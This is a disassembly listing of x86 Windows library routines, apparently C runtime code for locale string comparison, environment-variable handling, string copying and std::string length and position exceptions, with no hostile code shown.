sub_4220C1 proc near ; CODE XREF: sub_4214D8+440p
; sub_4219A9+14Cp
var_C = byte ptr -0Ch
var_A = dword ptr -0Ah
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 0Ch
push ebx
mov ebx, offset dword_43C090
xor ecx, ecx
sub ebx, 60h
cmp [ebp+arg_4], ecx
jz short loc_42213A
jge short loc_4220E9
mov eax, [ebp+arg_4]
mov ebx, offset dword_43C1F0
neg eax
mov [ebp+arg_4], eax
sub ebx, 60h
loc_4220E9: ; CODE XREF: sub_4220C1+16j
cmp [ebp+arg_8], ecx
jnz short loc_4220F4
mov eax, [ebp+arg_0]
mov [eax], cx
loc_4220F4: ; CODE XREF: sub_4220C1+2Bj
cmp [ebp+arg_4], ecx
jz short loc_42213A
push esi
push edi
loc_4220FB: ; CODE XREF: sub_4220C1+75j
mov eax, [ebp+arg_4]
add ebx, 54h
sar [ebp+arg_4], 3
and eax, 7
cmp eax, ecx
jz short loc_422133
lea eax, [eax+eax*2]
cmp word ptr [ebx+eax*4], 8000h
lea esi, [ebx+eax*4]
jb short loc_422126
lea edi, [ebp+var_C]
movsd
movsd
movsd
dec [ebp+var_A]
lea esi, [ebp+var_C]
loc_422126: ; CODE XREF: sub_4220C1+57j
push esi
push [ebp+arg_0]
call sub_421EA1
pop ecx
pop ecx
xor ecx, ecx
loc_422133: ; CODE XREF: sub_4220C1+49j
cmp [ebp+arg_4], ecx
jnz short loc_4220FB
pop edi
pop esi
loc_42213A: ; CODE XREF: sub_4220C1+14j
; sub_4220C1+36j
pop ebx
leave
retn
sub_4220C1 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42213D proc near ; CODE XREF: sub_421DAE+5Ep
; sub_422619+18p
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
cmp [ebp+arg_8], 0
jnz short loc_42214A
xor eax, eax
pop ebp
retn
; ---------------------------------------------------------------------------
loc_42214A: ; CODE XREF: sub_42213D+7j
push dword_48B444
push [ebp+arg_8]
push [ebp+arg_4]
push [ebp+arg_8]
push [ebp+arg_0]
push 1
push dword_48B664
call sub_4221EA
add esp, 1Ch
test eax, eax
jnz short loc_422177
mov eax, 7FFFFFFFh
pop ebp
retn
; ---------------------------------------------------------------------------
loc_422177: ; CODE XREF: sub_42213D+31j
add eax, 0FFFFFFFEh
pop ebp
retn
sub_42213D endp
; =============== S U B R O U T I N E =======================================
sub_42217C proc near ; CODE XREF: sub_421DAE+1Ep
; sub_422492+5Bp
var_4 = dword ptr -4
push ecx
push ebx
push ebp
push esi
mov esi, dword_48A044
push edi
xor edi, edi
mov eax, [esi]
cmp eax, edi
jz short loc_4221DD
mov ebx, dword_424150
loc_422195: ; CODE XREF: sub_42217C+5Fj
push edi
push edi
push edi
push edi
push 0FFFFFFFFh
push eax
push edi
push 1
call ebx
mov ebp, eax
cmp ebp, edi
jz short loc_4221E5
push ebp
call sub_417B89
cmp eax, edi
pop ecx
mov [esp+14h+var_4], eax
jz short loc_4221E5
push edi
push edi
push ebp
push eax
push 0FFFFFFFFh
push dword ptr [esi]
push edi
push 1
call ebx
test eax, eax
jz short loc_4221E5
push edi
push [esp+18h+var_4]
call sub_422492
mov eax, [esi+4]
add esi, 4
pop ecx
cmp eax, edi
pop ecx
jnz short loc_422195
loc_4221DD: ; CODE XREF: sub_42217C+11j
xor eax, eax
loc_4221DF: ; CODE XREF: sub_42217C+6Cj
pop edi
pop esi
pop ebp
pop ebx
pop ecx
retn
; ---------------------------------------------------------------------------
loc_4221E5: ; CODE XREF: sub_42217C+29j
; sub_42217C+38j ...
or eax, 0FFFFFFFFh
jmp short loc_4221DF
sub_42217C endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4221EA proc near ; CODE XREF: sub_42213D+27p
var_3C = dword ptr -3Ch
var_36 = byte ptr -36h
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_10 = dword ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset dword_424C88
push offset sub_41F774
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 30h
push ebx
push esi
push edi
mov [ebp+var_18], esp
xor ebx, ebx
cmp dword_48A300, ebx
push 1
pop edi
jnz short loc_42225D
push edi
mov eax, offset dword_4248D8
push eax
push edi
push eax
push ebx
push ebx
call near ptr 2590000h
nop
test eax, eax
jz short loc_42223A
mov dword_48A300, edi
jmp short loc_42225D
; ---------------------------------------------------------------------------
loc_42223A: ; CODE XREF: sub_4221EA+46j
push edi
mov eax, offset dword_43C824
push eax
push edi
push eax
push ebx
push ebx
nop
call near ptr 25905D6h
test eax, eax
jz loc_422453
mov dword_48A300, 2
loc_42225D: ; CODE XREF: sub_4221EA+31j
; sub_4221EA+4Ej
mov esi, [ebp+arg_C]
cmp esi, ebx
jle short loc_422274
push esi
push [ebp+arg_8]
call sub_422467
pop ecx
pop ecx
mov esi, eax
mov [ebp+arg_C], esi
loc_422274: ; CODE XREF: sub_4221EA+78j
cmp [ebp+arg_14], ebx
jle short loc_422289
push [ebp+arg_14]
push [ebp+arg_10]
call sub_422467
pop ecx
pop ecx
mov [ebp+arg_14], eax
loc_422289: ; CODE XREF: sub_4221EA+8Dj
mov eax, dword_48A300
cmp eax, 2
jnz short loc_4222AE
push [ebp+arg_14]
push [ebp+arg_10]
push esi
push [ebp+arg_8]
push [ebp+arg_4]
push [ebp+arg_0]
nop
call near ptr 25905D6h
jmp loc_422455
; ---------------------------------------------------------------------------
loc_4222AE: ; CODE XREF: sub_4221EA+A7j
cmp eax, edi
jnz loc_422453
cmp [ebp+arg_18], ebx
jnz short loc_4222C3
mov eax, dword_48A0B8
mov [ebp+arg_18], eax
loc_4222C3: ; CODE XREF: sub_4221EA+CFj
cmp esi, ebx
jz short loc_4222D0
cmp [ebp+arg_14], ebx
jnz loc_422368
loc_4222D0: ; CODE XREF: sub_4221EA+DBj
cmp esi, [ebp+arg_14]
jnz short loc_4222DD
loc_4222D5: ; CODE XREF: sub_4221EA+13Cj
; sub_4221EA+16Dj
push 2
loc_4222D7: ; CODE XREF: sub_4221EA+146j
pop eax
jmp loc_422455
; ---------------------------------------------------------------------------
loc_4222DD: ; CODE XREF: sub_4221EA+E9j
cmp [ebp+arg_14], edi
jle short loc_4222E9
loc_4222E2: ; CODE XREF: sub_4221EA+151j
; sub_4221EA+159j ...
mov eax, edi
jmp loc_422455
; ---------------------------------------------------------------------------
loc_4222E9: ; CODE XREF: sub_4221EA+F6j
cmp esi, edi
jg short loc_42232E
lea eax, [ebp+var_3C]
push eax
push [ebp+arg_18]
call near ptr 2861185h
nop
test eax, eax
jz loc_422453
cmp esi, ebx
jle short loc_422332
cmp [ebp+var_3C], 2
jb short loc_42232E
lea eax, [ebp+var_36]
cmp [ebp+var_36], bl
jz short loc_42232E
loc_422314: ; CODE XREF: sub_4221EA+142j
mov dl, [eax+1]
cmp dl, bl
jz short loc_42232E
mov ecx, [ebp+arg_8]
mov cl, [ecx]
cmp cl, [eax]
jb short loc_422328
cmp cl, dl
jbe short loc_4222D5
loc_422328: ; CODE XREF: sub_4221EA+138j
inc eax
inc eax
cmp [eax], bl
jnz short loc_422314
loc_42232E: ; CODE XREF: sub_4221EA+101j
; sub_4221EA+120j ...
push 3
jmp short loc_4222D7
; ---------------------------------------------------------------------------
loc_422332: ; CODE XREF: sub_4221EA+11Aj
cmp [ebp+arg_14], ebx
jle short loc_422368
cmp [ebp+var_3C], 2
jb short loc_4222E2
lea eax, [ebp+var_36]
cmp [ebp+var_36], bl
jz short loc_4222E2
loc_422345: ; CODE XREF: sub_4221EA+177j
mov dl, [eax+1]
cmp dl, bl
jz short loc_4222E2
mov ecx, [ebp+arg_10]
mov cl, [ecx]
cmp cl, [eax]
jb short loc_42235D
cmp cl, dl
jbe loc_4222D5
loc_42235D: ; CODE XREF: sub_4221EA+169j
inc eax
inc eax
cmp [eax], bl
jnz short loc_422345
jmp loc_4222E2
; ---------------------------------------------------------------------------
loc_422368: ; CODE XREF: sub_4221EA+E0j
; sub_4221EA+14Bj
push ebx
push ebx
push esi
push [ebp+arg_8]
push 9
push [ebp+arg_18]
call near ptr 2610000h
nop
mov [ebp+var_1C], eax
cmp eax, ebx
jz loc_422453
mov [ebp+var_4], ebx
add eax, eax
add eax, 3
and al, 0FCh
call sub_417B30
mov [ebp+var_18], esp
mov eax, esp
mov [ebp+var_24], eax
or [ebp+var_4], 0FFFFFFFFh
jmp short loc_4223B7
; ---------------------------------------------------------------------------
push 1
pop eax
retn
; ---------------------------------------------------------------------------
mov esp, [ebp+var_18]
xor ebx, ebx
mov [ebp+var_24], ebx
or [ebp+var_4], 0FFFFFFFFh
mov esi, [ebp+arg_C]
push 1
pop edi
loc_4223B7: ; CODE XREF: sub_4221EA+1B5j
cmp [ebp+var_24], ebx
jz loc_422453
push [ebp+var_1C]
push [ebp+var_24]
push esi
push [ebp+arg_8]
push edi
push [ebp+arg_18]
mov esi, dword_424070
call esi
test eax, eax
jz short loc_422453
push ebx
push ebx
push [ebp+arg_14]
push [ebp+arg_10]
push 9
push [ebp+arg_18]
call esi
mov esi, eax
mov [ebp+var_20], esi
cmp esi, ebx
jz short loc_422453
mov [ebp+var_4], edi
lea eax, [esi+esi]
add eax, 3
and al, 0FCh
call sub_417B30
mov [ebp+var_18], esp
mov edi, esp
mov [ebp+var_28], edi
or [ebp+var_4], 0FFFFFFFFh
jmp short loc_422422
; ---------------------------------------------------------------------------
push 1
pop eax
retn
; ---------------------------------------------------------------------------
mov esp, [ebp+var_18]
xor ebx, ebx
xor edi, edi
or [ebp+var_4], 0FFFFFFFFh
mov esi, [ebp+var_20]
loc_422422: ; CODE XREF: sub_4221EA+224j
cmp edi, ebx
jz short loc_422453
push esi
push edi
push [ebp+arg_14]
push [ebp+arg_10]
push 1
push [ebp+arg_18]
nop
call near ptr 2610000h
test eax, eax
jz short loc_422453
push esi
push edi
push [ebp+var_1C]
push [ebp+var_24]
push [ebp+arg_4]
push [ebp+arg_0]
nop
call near ptr 2590000h
jmp short loc_422455
; ---------------------------------------------------------------------------
loc_422453: ; CODE XREF: sub_4221EA+63j
; sub_4221EA+C6j ...
xor eax, eax
loc_422455: ; CODE XREF: sub_4221EA+BFj
; sub_4221EA+EEj ...
lea esp, [ebp-4Ch]
mov ecx, [ebp+var_10]
mov large fs:0, ecx
pop edi
pop esi
pop ebx
leave
retn
sub_4221EA endp
; =============== S U B R O U T I N E =======================================
sub_422467 proc near ; CODE XREF: sub_41E709+81p
; sub_4221EA+7Ep ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov edx, [esp+arg_4]
mov eax, [esp+arg_0]
test edx, edx
push esi
lea ecx, [edx-1]
jz short loc_422484
loc_422477: ; CODE XREF: sub_422467+1Bj
cmp byte ptr [eax], 0
jz short loc_422484
inc eax
mov esi, ecx
dec ecx
test esi, esi
jnz short loc_422477
loc_422484: ; CODE XREF: sub_422467+Ej
; sub_422467+13j
cmp byte ptr [eax], 0
pop esi
jnz short loc_42248F
sub eax, [esp+arg_0]
retn
; ---------------------------------------------------------------------------
loc_42248F: ; CODE XREF: sub_422467+21j
mov eax, edx
retn
sub_422467 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_422492 proc near ; CODE XREF: sub_42217C+50p
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
push esi
push edi
xor edi, edi
cmp [ebp+arg_0], edi
jz short loc_4224F6
push 3Dh
push [ebp+arg_0]
call sub_4226D8
mov esi, eax
pop ecx
cmp esi, edi
pop ecx
mov [ebp+var_8], esi
jz short loc_4224F6
cmp [ebp+arg_0], esi
jz short loc_4224F6
mov eax, dword_48A03C
xor ebx, ebx
cmp [esi+1], bl
setz bl
cmp eax, dword_48A040
jnz short loc_4224DC
push eax
call sub_422671
pop ecx
mov dword_48A03C, eax
loc_4224DC: ; CODE XREF: sub_422492+3Cj
cmp eax, edi
jnz short loc_422534
cmp [ebp+arg_4], edi
jz short loc_4224FE
cmp dword_48A044, edi
jz short loc_4224FE
call sub_42217C
test eax, eax
jz short loc_422534
loc_4224F6: ; CODE XREF: sub_422492+Dj
; sub_422492+22j ...
or eax, 0FFFFFFFFh
loc_4224F9: ; CODE XREF: sub_422492+182j
pop edi
pop esi
pop ebx
leave
retn
; ---------------------------------------------------------------------------
loc_4224FE: ; CODE XREF: sub_422492+51j
; sub_422492+59j
cmp ebx, edi
jnz loc_422612
push 4
call sub_417B89
cmp eax, edi
pop ecx
mov dword_48A03C, eax
jz short loc_4224F6
mov [eax], edi
cmp dword_48A044, edi
jnz short loc_422534
push 4
call sub_417B89
cmp eax, edi
pop ecx
mov dword_48A044, eax
jz short loc_4224F6
mov [eax], edi
loc_422534: ; CODE XREF: sub_422492+4Cj
; sub_422492+62j ...
sub esi, [ebp+arg_0]
mov edi, dword_48A03C
mov [ebp+var_4], edi
push esi
push [ebp+arg_0]
call sub_422619
mov esi, eax
pop ecx
test esi, esi
pop ecx
jl short loc_422594
cmp dword ptr [edi], 0
jz short loc_422594
test ebx, ebx
jz short loc_42258C
push dword ptr [edi+esi*4]
lea edi, [edi+esi*4]
call sub_417C3B
pop ecx
loc_422566: ; CODE XREF: sub_422492+E2j
cmp dword ptr [edi], 0
jz short loc_422576
mov eax, [edi+4]
inc esi
mov [edi], eax
add edi, 4
jmp short loc_422566
; ---------------------------------------------------------------------------
loc_422576: ; CODE XREF: sub_422492+D7j
mov eax, esi
shl eax, 2
push eax
push [ebp+var_4]
call sub_41944F
pop ecx
test eax, eax
pop ecx
jz short loc_4225C6
jmp short loc_4225C1
; ---------------------------------------------------------------------------
loc_42258C: ; CODE XREF: sub_422492+C6j
mov eax, [ebp+arg_0]
mov [edi+esi*4], eax
jmp short loc_4225C6
; ---------------------------------------------------------------------------
loc_422594: ; CODE XREF: sub_422492+BDj
; sub_422492+C2j
test ebx, ebx
jnz short loc_422612
test esi, esi
jge short loc_42259E
neg esi
loc_42259E: ; CODE XREF: sub_422492+108j
lea eax, ds:8[esi*4]
push eax
push edi
call sub_41944F
pop ecx
test eax, eax
pop ecx
jz loc_4224F6
mov ecx, [ebp+arg_0]
mov [eax+esi*4], ecx
and dword ptr [eax+esi*4+4], 0
loc_4225C1: ; CODE XREF: sub_422492+F8j
mov dword_48A03C, eax
loc_4225C6: ; CODE XREF: sub_422492+F6j
; sub_422492+100j
cmp [ebp+arg_4], 0
jz short loc_422612
push [ebp+arg_0]
call sub_417AB0
inc eax
inc eax
push eax
call sub_417B89
mov esi, eax
pop ecx
test esi, esi
pop ecx
jz short loc_422612
push [ebp+arg_0]
push esi
call sub_4179C0
mov eax, esi
pop ecx
sub eax, [ebp+arg_0]
pop ecx
add eax, [ebp+var_8]
and byte ptr [eax], 0
inc eax
neg ebx
sbb ebx, ebx
not ebx
and ebx, eax
push ebx
push esi
call near ptr 2580165h
nop
push esi
call sub_417C3B
pop ecx
loc_422612: ; CODE XREF: sub_422492+6Ej
; sub_422492+104j ...
xor eax, eax
jmp loc_4224F9
sub_422492 endp
; =============== S U B R O U T I N E =======================================
sub_422619 proc near ; CODE XREF: sub_422492+B2p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
mov esi, dword_48A03C
push edi
mov eax, [esi]
test eax, eax
jz short loc_422654
mov edi, [esp+8+arg_4]
loc_42262B: ; CODE XREF: sub_422619+39j
push edi
push eax
push [esp+10h+arg_0]
call sub_42213D
add esp, 0Ch
test eax, eax
jnz short loc_42264A
mov eax, [esi]
mov al, [eax+edi]
cmp al, 3Dh
jz short loc_422664
test al, al
jz short loc_422664
loc_42264A: ; CODE XREF: sub_422619+22j
mov eax, [esi+4]
add esi, 4
test eax, eax
jnz short loc_42262B
loc_422654: ; CODE XREF: sub_422619+Cj
mov eax, esi
sub eax, dword_48A03C
sar eax, 2
neg eax
loc_422661: ; CODE XREF: sub_422619+56j
pop edi
pop esi
retn
; ---------------------------------------------------------------------------
loc_422664: ; CODE XREF: sub_422619+2Bj
; sub_422619+2Fj
mov eax, esi
sub eax, dword_48A03C
sar eax, 2
jmp short loc_422661
sub_422619 endp
; =============== S U B R O U T I N E =======================================
sub_422671 proc near ; CODE XREF: sub_422492+3Fp
arg_0 = dword ptr 4
push edi
mov edi, [esp+4+arg_0]
xor ecx, ecx
test edi, edi
jnz short loc_422680
xor eax, eax
pop edi
retn
; ---------------------------------------------------------------------------
loc_422680: ; CODE XREF: sub_422671+9j
cmp dword ptr [edi], 0
lea eax, [edi+4]
jz short loc_422692
loc_422688: ; CODE XREF: sub_422671+1Fj
mov edx, [eax]
inc ecx
add eax, 4
test edx, edx
jnz short loc_422688
loc_422692: ; CODE XREF: sub_422671+15j
push ebx
push ebp
lea eax, ds:4[ecx*4]
push esi
push eax
call sub_417B89
mov esi, eax
pop ecx
test esi, esi
mov ebp, esi
jnz short loc_4226B3
push 9
call sub_419CDA
pop ecx
loc_4226B3: ; CODE XREF: sub_422671+38j
mov eax, [edi]
mov ebx, edi
loc_4226B7: ; CODE XREF: sub_422671+5Bj
test eax, eax
jz short loc_4226CE
push eax
add ebx, 4
call sub_42274B
mov [esi], eax
mov eax, [ebx]
pop ecx
add esi, 4
jmp short loc_4226B7
; ---------------------------------------------------------------------------
loc_4226CE: ; CODE XREF: sub_422671+48j
and dword ptr [esi], 0
mov eax, ebp
pop esi
pop ebp
pop ebx
pop edi
retn
sub_422671 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4226D8 proc near ; CODE XREF: sub_422492+14p
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
cmp dword_48B45C, 0
jnz short loc_4226F3
push [ebp+arg_4]
push [ebp+arg_0]
call sub_418F50
pop ecx
pop ecx
pop ebp
retn
; ---------------------------------------------------------------------------
loc_4226F3: ; CODE XREF: sub_4226D8+Aj
mov ecx, [ebp+arg_0]
loc_4226F6: ; CODE XREF: sub_4226D8+56j
movzx ax, byte ptr [ecx]
test ax, ax
jz short loc_422739
movzx edx, al
test byte_48B561[edx], 4
jz short loc_422725
mov dl, [ecx+1]
inc ecx
test dl, dl
jz short loc_422730
movzx eax, ax
movzx edx, dl
shl eax, 8
or eax, edx
cmp [ebp+arg_4], eax
jz short loc_422734
jmp short loc_42272D
; ---------------------------------------------------------------------------
loc_422725: ; CODE XREF: sub_4226D8+31j
movzx edx, ax
cmp [ebp+arg_4], edx
jz short loc_422739
loc_42272D: ; CODE XREF: sub_4226D8+4Bj
inc ecx
jmp short loc_4226F6
; ---------------------------------------------------------------------------
loc_422730: ; CODE XREF: sub_4226D8+39j
xor eax, eax
pop ebp
retn
; ---------------------------------------------------------------------------
loc_422734: ; CODE XREF: sub_4226D8+49j
lea eax, [ecx-1]
pop ebp
retn
; ---------------------------------------------------------------------------
loc_422739: ; CODE XREF: sub_4226D8+25j
; sub_4226D8+53j
movzx edx, ax
mov eax, [ebp+arg_4]
sub eax, edx
neg eax
sbb eax, eax
not eax
and eax, ecx
pop ebp
retn
sub_4226D8 endp
; =============== S U B R O U T I N E =======================================
sub_42274B proc near ; CODE XREF: sub_40A7D7+21p
; sub_422671+4Ep
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
test esi, esi
jz short loc_422772
push esi
call sub_417AB0
inc eax
push eax
call sub_417B89
pop ecx
test eax, eax
pop ecx
jz short loc_422772
push esi
push eax
call sub_4179C0
pop ecx
pop ecx
pop esi
retn
; ---------------------------------------------------------------------------
loc_422772: ; CODE XREF: sub_42274B+7j
; sub_42274B+1Aj
xor eax, eax
pop esi
retn
sub_42274B endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_422780 proc near ; CODE XREF: sub_422863+19p
; sub_42298A+19p
arg_0 = dword ptr 4
push esi
push [esp+4+arg_0]
mov esi, ecx
xor eax, eax
mov [esi+4], eax
mov [esi+8], eax
mov [esi+0Ch], eax
call sub_417AB0
pop ecx
push eax
push [esp+8+arg_0]
mov ecx, esi
call sub_4046A3
mov eax, esi
pop esi
retn 8
sub_422780 endp
; =============== S U B R O U T I N E =======================================
sub_4227AA proc near ; CODE XREF: ___:004227D5p
; sub_422858+6j ...
push esi
mov esi, ecx
push 1
lea ecx, [esi+0Ch]
mov dword ptr [esi], offset off_424CA4
call sub_404667
mov ecx, esi
pop esi
jmp sub_422BA6
sub_4227AA endp
; =============== S U B R O U T I N E =======================================
sub_4227C5 proc near ; DATA XREF: ___:00424CA8o
; ___:00424CB8o ...
mov eax, [ecx+10h]
test eax, eax
jnz short locret_4227D1
mov eax, offset dword_424290
locret_4227D1: ; CODE XREF: sub_4227C5+5j
retn
sub_4227C5 endp
; ---------------------------------------------------------------------------
loc_4227D2: ; DATA XREF: ___:off_424CA4o
push esi
mov esi, ecx
call sub_4227AA
test byte ptr [esp+8], 1
jz short loc_4227E8
push esi
call sub_4182AF
pop ecx
loc_4227E8: ; CODE XREF: ___:004227DFj
mov eax, esi
pop esi
retn 4
; =============== S U B R O U T I N E =======================================
sub_4227EE proc near ; CODE XREF: sub_422863+29p
mov eax, offset loc_423122
call sub_418290
push ecx
push ecx
push esi
lea eax, [ebp-10h]
mov esi, ecx
push eax
mov [ebp-14h], esi
mov dword ptr [ebp-10h], offset dword_424CC0
call sub_422B1F
push dword ptr [ebp+8]
and dword ptr [ebp-4], 0
lea ecx, [esi+0Ch]
mov dword ptr [esi], offset off_424CA4
call sub_4228A0
mov ecx, [ebp-0Ch]
mov dword ptr [esi], offset off_424CB4
mov eax, esi
pop esi
mov large fs:0, ecx
leave
retn 4
sub_4227EE endp
; =============== S U B R O U T I N E =======================================
sub_42283C proc near ; DATA XREF: ___:off_424CB4o
arg_0 = byte ptr 4
push esi
mov esi, ecx
call sub_422858
test [esp+4+arg_0], 1
jz short loc_422852
push esi
call sub_4182AF
pop ecx
loc_422852: ; CODE XREF: sub_42283C+Dj
mov eax, esi
pop esi
retn 4
sub_42283C endp
; =============== S U B R O U T I N E =======================================
sub_422858 proc near ; CODE XREF: sub_42283C+3p
; DATA XREF: ___:0042502Co
mov dword ptr [ecx], offset off_424CB4
jmp sub_4227AA
sub_422858 endp
; =============== S U B R O U T I N E =======================================
sub_422863 proc near ; CODE XREF: sub_404514+13p
; sub_4046D8+Ep
mov eax, offset loc_423134
call sub_418290
sub esp, 30h
lea eax, [ebp-0Dh]
push eax
push offset aInvalidStringP ; "invalid string position"
lea ecx, [ebp-20h]
call sub_422780
and dword ptr [ebp-4], 0
lea eax, [ebp-20h]
push eax
lea ecx, [ebp-3Ch]
call sub_4227EE
push offset dword_425028
lea eax, [ebp-3Ch]
push eax
call sub_422BC9
int 3 ; Trap to Debugger
sub_422863 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_4228A0 proc near ; CODE XREF: sub_4227EE+32p
; sub_4228C0+32p ...
arg_0 = dword ptr 4
push esi
xor eax, eax
push 0FFFFFFFFh
mov esi, ecx
push eax
push [esp+0Ch+arg_0]
mov [esi+4], eax
mov [esi+8], eax
mov [esi+0Ch], eax
call sub_404514
mov eax, esi
pop esi
retn 4
sub_4228A0 endp
; =============== S U B R O U T I N E =======================================
sub_4228C0 proc near ; CODE XREF: sub_42298A+29p
mov eax, offset loc_423146
call sub_418290
push ecx
push ecx
push esi
lea eax, [ebp-10h]
mov esi, ecx
push eax
mov [ebp-14h], esi
mov dword ptr [ebp-10h], offset dword_424CC0
call sub_422B1F
push dword ptr [ebp+8]
and dword ptr [ebp-4], 0
lea ecx, [esi+0Ch]
mov dword ptr [esi], offset off_424CA4
call sub_4228A0
mov ecx, [ebp-0Ch]
mov eax, esi
pop esi
mov large fs:0, ecx
leave
retn 4
sub_4228C0 endp
; =============== S U B R O U T I N E =======================================
sub_422908 proc near ; CODE XREF: sub_422972+7p
; sub_4229CE+7p ...
mov eax, offset loc_423158
call sub_418290
push ecx
push esi
push edi
mov edi, [ebp+8]
mov esi, ecx
push edi
mov [ebp-10h], esi
call sub_422B5C
and dword ptr [ebp-4], 0
add edi, 0Ch
push edi
lea ecx, [esi+0Ch]
mov dword ptr [esi], offset off_424CA4
call sub_4228A0
mov ecx, [ebp-0Ch]
pop edi
mov eax, esi
pop esi
mov large fs:0, ecx
leave
retn 4
sub_422908 endp
; =============== S U B R O U T I N E =======================================
sub_42294B proc near ; DATA XREF: ___:off_424CE0o
arg_0 = byte ptr 4
push esi
mov esi, ecx
call sub_422967
test [esp+4+arg_0], 1
jz short loc_422961
push esi
call sub_4182AF
pop ecx
loc_422961: ; CODE XREF: sub_42294B+Dj
mov eax, esi
pop esi
retn 4
sub_42294B endp
; =============== S U B R O U T I N E =======================================
sub_422967 proc near ; CODE XREF: sub_42294B+3p
; DATA XREF: ___:004250D4o
mov dword ptr [ecx], offset off_424CE0
jmp sub_4227AA
sub_422967 endp
; =============== S U B R O U T I N E =======================================
sub_422972 proc near ; CODE XREF: sub_4229E6+46p
arg_0 = dword ptr 4
push esi
push [esp+4+arg_0]
mov esi, ecx
call sub_422908
mov dword ptr [esi], offset off_424CB4
mov eax, esi
pop esi
retn 4
sub_422972 endp
; =============== S U B R O U T I N E =======================================
sub_42298A proc near ; CODE XREF: sub_404464+15p
; sub_4044BD+15p ...
mov eax, offset loc_42316A
call sub_418290
sub esp, 30h
lea eax, [ebp-0Dh]
push eax
push offset aStringTooLong ; "string too long"
lea ecx, [ebp-20h]
call sub_422780
and dword ptr [ebp-4], 0
lea eax, [ebp-20h]
push eax
lea ecx, [ebp-3Ch]
call sub_4228C0
push offset dword_4250D0
lea eax, [ebp-3Ch]
push eax
mov dword ptr [ebp-3Ch], offset off_424CE0
call sub_422BC9
int 3 ; Trap to Debugger
sub_42298A endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_4229CE proc near ; CODE XREF: sub_4229E6+28p
arg_0 = dword ptr 4
push esi
push [esp+4+arg_0]
mov esi, ecx
call sub_422908
mov dword ptr [esi], offset off_424CE0
mov eax, esi
pop esi
retn 4
sub_4229CE endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn bp-based frame
sub_4229E6 proc near ; DATA XREF: ___:00424CACo
var_1C = byte ptr -1Ch
push ebp
mov ebp, esp
sub esp, 1Ch
push ecx
lea ecx, [ebp+var_1C]
call sub_422908
push offset dword_425110
lea eax, [ebp+var_1C]
push eax
call sub_422BC9
int 3 ; Trap to Debugger
loc_422A04: ; DATA XREF: ___:00424CE8o
push ebp
mov ebp, esp
sub esp, 1Ch
push ecx
lea ecx, [ebp+var_1C]
call sub_4229CE
push offset dword_4250D0
lea eax, [ebp+var_1C]
push eax
call sub_422BC9
int 3 ; Trap to Debugger
loc_422A22: ; DATA XREF: ___:00424CBCo
push ebp
mov ebp, esp
sub esp, 1Ch
push ecx
lea ecx, [ebp+var_1C]
call sub_422972
push offset dword_425028
lea eax, [ebp+var_1C]
push eax
call sub_422BC9
int 3 ; Trap to Debugger
sub_4229E6 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_422A40 proc near
jmp near ptr 71B2ACCBh
sub_422A40 endp
; ---------------------------------------------------------------------------
db 0Ch
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_422A46 proc near ; CODE XREF: sub_403DF6+5Ep
; sub_4053D5+159p
nop
jmp near ptr 71AB1B7Bh
sub_422A46 endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_422A4C proc near ; CODE XREF: sub_417EFC+23p
; sub_4181A0+13p
nop
jmp near ptr 27D0000h
sub_422A4C endp
; =============== S U B R O U T I N E =======================================
sub_422A52 proc near ; CODE XREF: sub_409392+E2p
; sub_409392+F9p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
cmp dword_48A0A8, 0
push ebx
jnz short loc_422A98
mov edx, [esp+4+arg_4]
mov ecx, [esp+4+arg_0]
loc_422A64: ; CODE XREF: sub_422A52+42j
mov bx, [ecx]
cmp bx, 5Ah
ja short loc_422A76
cmp bx, 41h
jb short loc_422A76
add ebx, 20h
loc_422A76: ; CODE XREF: sub_422A52+19j
; sub_422A52+1Fj
mov ax, [edx]
cmp ax, 5Ah
ja short loc_422A88
cmp ax, 41h
jb short loc_422A88
add eax, 20h
loc_422A88: ; CODE XREF: sub_422A52+2Bj
; sub_422A52+31j
inc ecx
inc ecx
inc edx
inc edx
test bx, bx
jz short loc_422AC8
cmp bx, ax
jz short loc_422A64
jmp short loc_422AC8
; ---------------------------------------------------------------------------
loc_422A98: ; CODE XREF: sub_422A52+8j
push esi
mov esi, [esp+8+arg_0]
push edi
mov edi, [esp+0Ch+arg_4]
loc_422AA2: ; CODE XREF: sub_422A52+72j
mov ax, [esi]
inc esi
push eax
inc esi
call sub_422C03
mov ebx, eax
mov ax, [edi]
inc edi
push eax
inc edi
call sub_422C03
pop ecx
test bx, bx
pop ecx
jz short loc_422AC6
cmp bx, ax
jz short loc_422AA2
loc_422AC6: ; CODE XREF: sub_422A52+6Dj
pop edi
pop esi
loc_422AC8: ; CODE XREF: sub_422A52+3Dj
; sub_422A52+44j
movzx ecx, ax
movzx eax, bx
sub eax, ecx
pop ebx
retn
sub_422A52 endp
